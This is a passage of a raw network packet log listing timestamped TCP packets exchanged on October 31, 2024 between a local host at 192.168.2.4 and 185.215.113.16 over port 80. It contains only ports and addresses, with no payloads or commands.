Oct 31, 2024 05:07:10.585366964 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.585386992 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.585405111 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.585417986 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.585426092 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.585439920 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.585449934 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.585468054 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.585510969 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.585536003 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.585549116 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.585561037 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.585573912 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.585587978 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.585613012 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.585638046 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.585649967 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.585661888 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.585676908 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.585684061 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.585702896 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.585705042 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.585705042 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.585721016 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.585731030 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.585736990 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.585752010 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.585763931 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.585767984 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.585784912 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.585822105 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.585840940 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.585854053 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.585865974 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.585900068 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.585916996 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.585921049 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.585931063 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.585952997 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.585966110 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.585978985 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.585980892 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.585989952 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.586007118 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.586007118 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.586038113 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.586080074 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.586100101 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.586112976 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.586146116 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.586172104 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.586191893 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.586205006 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.586215973 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.586230993 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.586242914 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.586247921 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.586268902 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.586287022 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.586293936 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.586301088 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.586313009 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.586344957 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.586345911 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.586358070 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.586376905 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.586378098 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.586391926 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.586406946 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.586410046 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.586417913 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.586443901 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.586451054 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.586451054 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.586477995 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.586491108 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.586503029 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.586524963 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.586555004 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.586571932 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.586585045 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.586612940 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.586637020 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.703309059 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.703330040 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.703438997 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.703440905 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.703449965 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.703463078 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.703485012 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.703505039 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.703510046 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.703510046 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.703517914 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.703537941 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.703552008 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.703564882 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.703564882 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.703568935 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.703583956 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.703593969 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.703598976 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.703622103 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.703640938 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.703648090 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.703659058 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.703660011 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.703670979 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.703682899 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.703694105 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.703696012 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.703716040 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.703739882 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.703741074 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.703804970 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.703824043 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.703835964 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.703847885 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.703860998 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.703867912 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.703867912 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.703874111 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.703886986 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.703891039 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.703906059 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.703916073 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.703919888 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.703934908 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.703943968 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.703954935 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.703965902 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.703972101 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.703979969 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.703991890 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.703994989 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.704006910 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.704010010 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.704020023 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.704046965 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.704066992 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.704236031 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.704247952 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.704258919 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.704271078 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.704288006 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.704298019 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.704298973 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.704336882 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.704336882 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.704340935 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.704355001 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.704368114 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.704369068 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.704408884 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.704408884 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.704416990 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.704482079 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.704482079 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.704488039 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.704528093 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.704571962 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.704608917 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.704619884 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.704629898 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.704663038 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.704663038 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.704890966 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.704902887 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.704914093 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.704942942 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.704973936 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.705131054 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.705184937 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.705214977 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.705226898 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.705238104 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.705251932 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.705261946 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.705267906 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.705287933 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.705333948 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.705612898 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.705626011 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.705636978 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.705667973 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.705678940 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.705689907 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.705692053 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.705704927 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.705717087 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.705733061 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.705749989 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.705750942 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.705761909 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.705775976 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.705780029 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.705794096 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.705804110 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.705813885 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.705816984 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.705832005 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.705841064 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.705841064 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.705843925 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.705871105 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.705894947 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.706257105 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.706269979 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.706280947 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.706293106 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.706306934 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.706319094 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.706337929 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.706355095 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.706968069 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.706979990 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.706990004 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.707004070 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.707015991 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.707026958 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.707027912 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.707041025 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.707053900 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.707068920 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.707068920 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.707068920 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.707094908 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.707110882 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.823671103 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.823688984 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.823699951 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.823724031 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.823740959 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.823754072 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.823765039 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.823779106 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.823796034 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.823808908 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.823813915 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.823827028 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.823832035 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.823896885 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.823899984 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.823899984 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.823909044 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.823946953 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.823978901 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.824067116 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.824079990 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.824093103 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.824104071 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.824115038 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.824117899 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.824131966 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.824142933 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.824143887 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.824147940 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.824158907 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.824179888 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.824202061 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.824207067 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.824222088 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.824227095 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.824242115 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.824253082 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.824268103 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.824295998 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.824295998 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.824295998 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.824394941 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.824407101 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.824418068 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.824446917 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.824480057 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.824564934 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.824577093 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.824588060 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.824599028 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.824610949 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.824620962 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.824625969 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.824632883 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.824646950 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.824671984 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.824671984 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.824701071 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.824701071 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.824723005 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.824734926 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.824745893 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.824759007 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.824780941 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.824800968 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.824887991 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.824906111 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.824917078 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.824928999 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.824940920 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.824948072 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.824974060 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.824990988 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.825067997 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.825078964 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.825088978 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.825102091 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.825114012 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.825123072 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.825126886 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.825139046 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.825151920 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.825155020 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.825164080 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.825176001 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.825192928 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.825212002 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.825216055 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.825223923 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.825236082 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.825256109 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.825258970 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.825268030 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.825283051 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.825283051 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.825316906 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.825316906 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.825371027 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.825387955 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.825428009 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.825858116 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.825870037 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.825880051 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.825911999 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.825958014 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.826030016 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.826042891 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.826052904 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.826067924 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.826081038 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:10.826083899 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:10.826111078 CET	49803	80	192.168.2.4	185.215.113.16
